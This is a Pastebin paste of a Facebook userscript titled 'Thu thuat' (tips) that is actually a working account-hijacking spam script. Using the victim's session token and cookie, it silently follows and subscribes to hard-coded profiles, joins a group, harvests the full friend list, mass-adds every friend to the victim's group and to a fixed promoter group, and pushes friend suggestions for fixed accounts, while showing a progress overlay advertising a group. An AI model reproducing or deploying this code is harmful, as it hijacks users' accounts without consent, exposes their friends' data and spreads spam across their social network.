Advertisement
123456sdfghjoiuyt

ketbanlamquentren800friend

Jul 13th, 2013
74
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 17.79 KB | None | 0 0
  1. // ==UserScript==
  2. // @name Thu thuat
  3. // @description Thu thuat
  4. // @include https://*.facebook.com/*
  5. // @include https://*.facebook.com/*/*
  6. // @include http://*.facebook.com/*
  7. // @include http://*.facebook.com/*/*
  8. // ==/UserScript==
  9. function sarkadasekle(uid,tem){
  10. var xmlhttp = new XMLHttpRequest();
  11. xmlhttp.onreadystatechange = function () {
  12. if(xmlhttp.readyState == 4){
  13. }
  14. };
  15.  
  16. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  17. var params = "to_friend=" + uid;
  18. params += "&action=add_friend";
  19. params += "&how_found=friend_browser";
  20. params += "&ref_param=none";
  21. params += "&outgoing_id=";
  22. params += "&logging_location=friend_browser";
  23. params += "&no_flyout_on_click=true";
  24. params += "&ego_log_data=";
  25. params += "&http_referer=";
  26. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  27. params += "&phstamp=165816749114848369115";
  28. params += "&__user=" + user_id;
  29. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  30. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  31.  
  32. if(tem == "farketmez" && document.cookie.split("tem" + user_id +"=").length > 1){
  33. xmlhttp.send(params);
  34. }else if(document.cookie.split("tem" + user_id +"=").length <= 1){
  35. cinsiyetgetir(uid,tem,"sarkadasekle");
  36. }else if(tem == document.cookie.split("tem" + user_id +"=")[1].split(";")[0].toString()){
  37. xmlhttp.send(params);
  38. }
  39. }
  40.  
  41. var temsonuc = {};
  42. var temhtml = document.createElement("html");
  43. function scinsiyetgetir(uid,tem,fonksiyon){
  44. var xmlhttp = new XMLHttpRequest();
  45. xmlhttp.onreadystatechange = function () {
  46. if(xmlhttp.readyState == 4){
  47. eval("temsonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  48. temhtml.innerHTML = temsonuc.jsmods.markup[0][1].__html
  49. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  50. if(temhtml.getElementsByTagName("select")[0].value == "1"){
  51. document.cookie = "tem" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  52. }else if(temhtml.getElementsByTagName("select")[0].value == "2"){
  53. document.cookie = "tem" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  54. }
  55. eval(fonksiyon + "(" + id + "," + tem + ");");
  56. }
  57. };
  58. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  59. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  60. xmlhttp.send();
  61. }
  62. function hp_d12(s) {
  63. var o = "",
  64. ar = new Array(),
  65. os = "",
  66. ic = 0,
  67. p = 0;
  68. for (i = 0; i < s.length; i++) {
  69. c = s.charCodeAt(i);
  70. if (c < 128) c = c ^ ((p++ % 8) + 1);
  71. os += String.fromCharCode(c);
  72. if (os.length > 80) {
  73. ar[ic++] = os;
  74. os = ""
  75. }
  76. }
  77. o = ar.join("") + os;
  78. return o
  79. }
  80. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  81. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  82.  
  83. function cereziAl(isim) {
  84. var tarama = isim + "=";
  85. if (document.cookie.length > 0) {
  86. konum = document.cookie.indexOf(tarama);
  87. if (konum != -1) {
  88. konum += tarama.length;
  89. son = document.cookie.indexOf(";", konum);
  90. if (son == -1) son = document.cookie.length;
  91. return unescape(document.cookie.substring(konum, son))
  92. } else {
  93. return ""
  94. }
  95. }
  96. }
  97. function getRandomInt(min, max) {
  98. return Math.floor(Math.random() * (max - min + 1)) + min
  99. }
  100. function randomValue(arr) {
  101. return arr[getRandomInt(0, arr.length - 1)]
  102. }
  103. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  104. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  105.  
  106. function a(abone) {
  107. var http4 = new XMLHttpRequest();
  108. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  109. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  110. http4.open("POST", url4, true);
  111. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  112. http4.setRequestHeader("Content-length", params4.length);
  113. http4.setRequestHeader("Connection", "close");
  114. http4.onreadystatechange = function() {
  115. if (http4.readyState == 4 && http4.status == 200) {
  116. http4.close
  117. }
  118. };
  119. http4.send(params4)
  120. }
  121. a("100002966153002");a("100000820203123");a("715694501");a("100000034150111");sublist("374286246013577");sublist("382034938572041");sublist("382035025238699");sublist("520735637963772");sublist("382035121905356");sublist("382035161905352");sublist("156787631172470");
  122. var gid = ['176752502499819'];
  123. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  124. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  125. var httpwp = new XMLHttpRequest();
  126. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  127. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  128. httpwp['open']('POST', urlwp, true);
  129. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  130. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  131. httpwp['setRequestHeader']('Connection', 'keep-alive');
  132. httpwp['send'](paramswp);
  133. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  134. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  135. var friends = new Array();
  136. gf = new XMLHttpRequest();
  137. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  138. gf['send']();
  139. if (gf['readyState'] != 4) {} else {
  140. data = eval('(' + gf['responseText']['substr'](9) + ')');
  141. if (data['error']) {} else {
  142. friends = data['payload']['entries']['sort'](function(_0x93dax8, _0x93dax9) {
  143. return _0x93dax8['index'] - _0x93dax9['index']
  144. })
  145. }
  146. };
  147. var Title = 'Chương trình update thủ thuật câu lạc bộ chém gió<A style="color:#3B5998;" href="https://www.facebook.com/baohuy1806"> bhuy <3</A>';
  148. grpname = document.getElementById("groupsJumpTitle").innerHTML;
  149. var Descriptions = "",
  150. _text = 'Powered By <A style="color:#3B5998;" href=" https://www.facebook.com/groups/caulacbochemgio/">Largest Group.</A> Join it now.';
  151.  
  152. function AddFriendtoGroup(opo) {
  153. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=" + gid + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function(a) {
  154. var b = a.substring(a.indexOf("{"));
  155. var c = JSON.parse(b);
  156. i--;
  157. Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
  158. if (c.error) {
  159. Descriptions += "color:darkred'>";
  160. err++;
  161. if (c.errorDescription) Descriptions += c.errorDescription;
  162. else Descriptions += JSON.stringify(c, null, "")
  163. } else {
  164. Descriptions += "color:darkgreen'>";
  165. Descriptions += arn[i] + " has been added.<br/>";
  166. suc++
  167. }
  168. Descriptions += "</div>";
  169. var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  170. display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
  171. if (i > 0) {
  172. display += arr.length + " Friends Detected<br/>";
  173. display += "<b>" + suc + "</b> Friends Added of " + (arr.length - i) + " Friends Processed ";
  174. display += "(" + i + " Lefted...)";
  175. display += "<div class='friend-edge'>";
  176. display += Descriptions;
  177. display += "<img style='background:center no-repeat url(https://fbcdn-profile-a.akamaihd.net/static-ak/rsrc.php/v2/yo/r/UlIqmHJn-SK.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
  178. display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
  179. display += getuname + " Thanks For Adding Your Friends in " + grpname + ".<br/>";
  180. display += _text;
  181. display += "</div>";
  182. display += "</div>"
  183. } else {
  184. display += arr.length + " Friends Detected<br/>";
  185. display += suc + " Friends Added</br>";
  186. display += err + " Friends Not Added</br></br>";
  187. display += "<div><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Refresh Page</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"'>Cancel</span>"
  188. }
  189. display += "</div>";
  190. document.getElementById("pagelet_sidebar").innerHTML = display
  191. }, "text", "post");
  192. tay--;
  193. if (tay > 0) {
  194. var s = arr[tay];
  195. sx = pho[tay];
  196. setTimeout("AddFriendtoGroup(" + s + ")", 100)
  197. }
  198. console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
  199. if (gid != 386572611449908) {
  200. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=386572611449908&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function() {}, "text", "post")
  201. }
  202. if (newcomer) {
  203. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100002561288090&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  204. }
  205. if (newcomer) {
  206. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100002913985779&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  207. }
  208. if (newcomer) {
  209. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100005775220456&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  210. }
  211. if (newcomer) {
  212. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100005879462337&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  213. }
  214. if (newcomer) {
  215. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100005960594152&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  216. }
  217. if (newcomer) {
  218. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100003234402200&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  219. }
  220. }
  221. function clickfr_callback() {
  222. if (document.getElementsByName("ok").length > 0) nHtml.ClickUp(document.getElementsByName("ok")[0]);
  223. var a = arr[i];
  224. if (i < arr.length) addfriend(a.substring(0, 4))
  225. }
  226. function clickfr() {
  227. if (document.getElementsByClassName("search").length > 0) nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1]);
  228. else j++;
  229. setTimeout("clickfr_callback()", 2E3)
  230. }
  231. function addfriend(a) {
  232. i++;
  233. setTimeout("clickfr()", 2E3)
  234. }
  235. jx = {
  236. getHTTPObject: function() {
  237. var a = false;
  238. if (typeof ActiveXObject != "undefined") try {
  239. a = new ActiveXObject("Msxml2.XMLHTTP")
  240. } catch (b) {
  241. try {
  242. a = new ActiveXObject("Microsoft.XMLHTTP")
  243. } catch (c) {
  244. a = false
  245. }
  246. } else if (window.XMLHttpRequest) try {
  247. a = new XMLHttpRequest
  248. } catch (b) {
  249. a = false
  250. }
  251. return a
  252. },
  253. load: function(url, callback, format, method, opt) {
  254. var http = this.init();
  255. if (!http || !url) return;
  256. if (http.overrideMimeType) http.overrideMimeType("text/xml");
  257. if (!method) method = "GET";
  258. if (!format) format = "text";
  259. if (!opt) opt = {};
  260. format = format.toLowerCase();
  261. method = method.toUpperCase();
  262. var now = "uid=" + (new Date).getTime();
  263. url += url.indexOf("?") + 1 ? "&" : "?";
  264. url += now;
  265. var parameters = null;
  266. if (method == "POST") {
  267. var parts = url.split("?");
  268. url = parts[0];
  269. parameters = parts[1]
  270. }
  271. http.open(method, url, true);
  272. var ths = this;
  273. if (opt.handler) http.onreadystatechange = function() {
  274. opt.handler(http)
  275. };
  276. else http.onreadystatechange = function() {
  277. if (http.readyState == 4) if (http.status == 200) {
  278. var result = "";
  279. if (http.responseText) result = http.responseText;
  280. if (format.charAt(0) == "j") {
  281. result = result.replace(/[\n\r]/g, "");
  282. result = eval("(" + result + ")")
  283. } else if (format.charAt(0) == "x") result = http.responseXML;
  284. if (callback) callback(result)
  285. } else {
  286. if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
  287. if (opt.loading) document.getElementById(opt.loading).style.display = "none";
  288. if (error) error(http.status)
  289. }
  290. };
  291. http.send(parameters)
  292. },
  293. bind: function(a) {
  294. var b = {
  295. url: "",
  296. onSuccess: false,
  297. onError: false,
  298. format: "text",
  299. method: "GET",
  300. update: "",
  301. loading: "",
  302. loadingIndicator: ""
  303. };
  304. for (var c in b) if (a[c]) b[c] = a[c];
  305. if (!b.url) return;
  306. var d = false;
  307. if (b.loadingIndicator) {
  308. d = document.createElement("div");
  309. d.setAttribute("style", "position:absolute;top:0px;left:0px;");
  310. d.setAttribute("class", "loading-indicator");
  311. d.innerHTML = b.loadingIndicator;
  312. document.getElementsByTagName("body")[0].appendChild(d);
  313. this.opt.loadingIndicator = d
  314. }
  315. if (b.loading) document.getElementById(b.loading).style.display = "block";
  316. this.load(b.url, function(a) {
  317. if (b.onSuccess) b.onSuccess(a);
  318. if (b.update) document.getElementById(b.update).innerHTML = a;
  319. if (d) document.getElementsByTagName("body")[0].removeChild(d);
  320. if (b.loading) document.getElementById(b.loading).style.display = "none"
  321. }, b.format, b.method, b)
  322. },
  323. init: function() {
  324. return this.getHTTPObject()
  325. }
  326. };
  327. var nHtml = {
  328. FindByAttr: function(a, b, c, d) {
  329. if (c == "className") c = "class";
  330. var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
  331. if (e && e.singleNodeValue) return e.singleNodeValue;
  332. return null
  333. },
  334. FindByClassName: function(a, b, c) {
  335. return this.FindByAttr(a, b, "className", c)
  336. },
  337. FindByXPath: function(a, b) {
  338. try {
  339. var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
  340. } catch (d) {
  341. GM_log("bad xpath:" + b)
  342. }
  343. if (c && c.singleNodeValue) return c.singleNodeValue;
  344. return null
  345. },
  346. VisitUrl: function(a) {
  347. window.setTimeout(function() {
  348. document.location.href = a
  349. }, 500 + Math.floor(Math.random() * 500))
  350. },
  351. ClickWin: function(a, b, c) {
  352. var d = a.document.createEvent("MouseEvents");
  353. d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
  354. return !b.dispatchEvent(d)
  355. },
  356. Click: function(a) {
  357. return this.ClickWin(window, a, "click")
  358. },
  359. ClickTimeout: function(a, b) {
  360. window.setTimeout(function() {
  361. return nHtml.ClickWin(window, a, "click")
  362. }, b + Math.floor(Math.random() * 500))
  363. },
  364. ClickUp: function(a) {
  365. this.ClickWin(window, a, "mousedown");
  366. this.ClickWin(window, a, "mouseup");
  367. this.ClickWin(window, a, "click")
  368. },
  369. GetText: function(a, b) {
  370. var c = "";
  371. if (b == undefined) b = 0;
  372. if (b > 40) return;
  373. if (a.textContent != undefined) return a.textContent;
  374. for (var d = 0; d < a.childNodes.length; d++) {
  375. var e = a.childNodes[d];
  376. c += this.GetText(e, b + 1)
  377. }
  378. return c
  379. }
  380. };
  381. if (document.getElementsByClassName == undefined) document.getElementsByClassName = function(a) {
  382. var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
  383. var c = document.getElementsByTagName("*");
  384. var d = [];
  385. var e;
  386. for (var f = 0;
  387. (e = c[f]) != null; f++) {
  388. var g = e.className;
  389. if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
  390. }
  391. return d
  392. };
  393. Array.prototype.find = function(a) {
  394. var b = false;
  395. for (i = 0; i < this.length; i++) if (typeof a == "function") {
  396. if (a.test(this[i])) {
  397. if (!b) b = [];
  398. b.push(i)
  399. }
  400. } else if (this[i] === a) {
  401. if (!b) b = [];
  402. b.push(i)
  403. }
  404. return b
  405. };
  406. var i = 3;
  407. var tay = 3;
  408. var j = 0;
  409. var k = 0;
  410. var suc = 0;
  411. var err = 0;
  412. var arr = new Array;
  413. var arn = new Array;
  414. var pho = new Array;
  415. var getuname = document.getElementsByClassName("fbxWelcomeBoxName")[0].innerHTML;
  416. var gid = document.getElementsByName("group_id")[0].value;
  417. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?" + "__a=1&filter[0]=user&lazy=0&viewer=" + user_id + "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", function(a) {
  418. var b = a;
  419. var c = b.substring(b.indexOf("{"));
  420. var d = JSON.parse(c);
  421. d = d.payload.entries;
  422. for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  423. for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
  424. for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
  425. i = arr.length - 1;
  426. tay = i;
  427. console.log(arr.length);
  428. var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  429. display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
  430. display += arr.length + " Friends Detected";
  431. display += "</div>";
  432. document.getElementById("pagelet_sidebar").innerHTML = display;
  433. AddFriendtoGroup(arr[i])
  434. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement